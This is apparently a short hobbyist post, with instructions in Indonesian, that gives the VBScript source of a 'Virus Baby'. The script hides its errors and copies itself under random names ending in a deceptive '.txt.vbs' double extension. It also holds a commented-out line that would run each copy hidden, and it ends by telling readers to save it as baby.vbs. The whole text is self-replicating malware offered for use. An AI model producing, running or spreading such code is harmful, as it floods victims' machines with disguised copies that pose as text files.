Virus Baby

Randomize: On Error Resume Next
Set FSO = CreateObject("Scripting.FileSystemObject")
Set Shell = CreateObject("WScript.Shell")
Set HOME = FSO.GetFolder(".")

msgbox "Home", Home
'Rest 120

Set Me_ = FSO.GetFile(WScript.ScriptFullName)
Baby = HOME & "\" & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & ".txt.vbs"
Me_.Copy(Baby)
'Shell.Run Baby, VbHide

Sub Rest(HowLong)
Current = Timer
Do While Timer - Current < HowLong
Loop
End Sub

Simpan pake notepad lalu beri nama baby.vbs ( jangan lupa Save As Tpey : all files)